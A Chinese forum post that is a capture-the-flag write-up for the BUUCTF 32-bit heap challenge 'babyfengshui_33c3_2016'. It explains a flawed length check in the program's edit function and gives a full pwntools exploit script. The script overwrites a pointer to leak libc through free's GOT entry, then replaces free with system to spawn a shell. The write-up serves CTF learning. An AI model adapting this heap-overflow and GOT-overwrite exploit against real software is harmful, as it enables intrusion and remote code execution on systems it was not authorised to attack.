本帖最后由 bnuzgn 于 2023-9-10 14:07 编辑
题目来源
buuctf——babyfengshui_33c3_2016
参考链接
https://blog.csdn.net/mcmuyanga/article/details/112071029
https://niceseven.github.io/post/2020/03/18/buuctf-pwn-babyfengshui_33c3_2016/
题目信息
32位,ubuntu16
功能如下:
Add功能中没有循环函数,因此所有申请的堆从0开始都会保留序号。
ptr是索引,global_i是全局递增ptr偏移变量
最后直接调用了第四个功能(IDA中我重命名为edit函数了)
创建的结构体如下图(参考链接2中图片)所示:
- 每次Add功能会申请两个heap,第一个heap保存description的内容,第二个保存结构体(固定大小0x80字节)。
- 结构体数据部分前四个字节保存description堆的地址,后面的0x7c字节保存name的数值。
Delete功能删除的很干净,连ptr也清理了。
Display功能如下
问题出在了Update功能中:函数首先让用户输入新的text的长度,但是里面用于判断是否可以进行内容修改的逻辑有问题。
开发的逻辑如下:如果没有对heap进行删除,Add功能正常申请的两个heap是相连的,而description堆的数据起始地址加上用户输入的字段不可以覆盖了结构体的size字段。那么此时就是有问题的。
问题:如果有删除heap的操作,那么Add申请的两个堆有可能是不在一起的,这个时候可以对中间包含的别的heap结构体进行编辑操作。
解题思路
- Partial RELRO说明我们可以修改free系统函数的got表,将其指向system的内存加载地址,只需要泄露libcbase地址即可。
- 可以通过Update的逻辑漏洞对中间包含的heap的结构体中指向description的地址进行修改,修改为free_got的地址
- 用Display功能输出free_got指向的free_addr,计算得出libcbase。
- 用update功能更新中间包含的heap的内容,使得free_got指向system_addr。
- 删除一个description前8个字节为'/bin/sh\x00'的heap。
关键步骤
- 了解堆的释放流程:结合libc的版本与操作系统的位数可以得知0x80字节的heap不属于fastbin,也没有Tchache掺和,小于512字节的
- 动态调试配合编写payload:可利用pwndbg中heapbase功能查看heap内容。
wp
[Python] 纯文本查看 复制代码 # -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='i386'
context.os = "linux"
pc = "babyfengshui_33c3_2016"
if __name__ == '__main__':
local = sys.argv[1]
if local == '1':
r= process(pc)
elf = ELF(pc)
libc = elf.libc
else:
r=remote("node4.buuoj.cn",27553)
elf = ELF(pc)
libc = elf.libc
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def db():
gdb.attach(r)
pause()
def dbs(src):
gdb.attach(r, src)
def add(size,name,text):
sla("Action: ","0")
sla("size of description: ",str(size))
sla("name: ",name)
sla("text length: ",str(len(text)))
sla("text: ",text)
def delete(index):
sla("Action: ","1")
sla("index: ",str(index))
def show(index):
sla("Action: ","2")
sla("index: ",str(index))
def edit(index,length,text):
sla("Action: ","3")
sla("index: ",str(index))
sla("text length: ",str(length))
sla("text: ",text)
free_got = elf.got['free']
add(0x80,"bnuzgn","aaaa")
add(0x80,"bnuzgn","bbbb")
delete(0)
#db()
add(0x108,"bnuzgn","cccc")
payload = b"/bin/sh\x00" + b'a'*0x100 +p32(0)+p32(0x89) + b'a'*0x80 + p32(0) + p32(0x89) + p32(free_got)
edit(2,0x210,payload)
show(1)
free_addr = u32(r.recvuntil(b'\xf7')[-4:])
libc_base = free_addr - libc.sym['free']
system_addr = libc_base + libc.sym["system"]
lg('libc_base')
#db()
edit(1,0x4,p32(system_addr))
delete(2)
ti()
|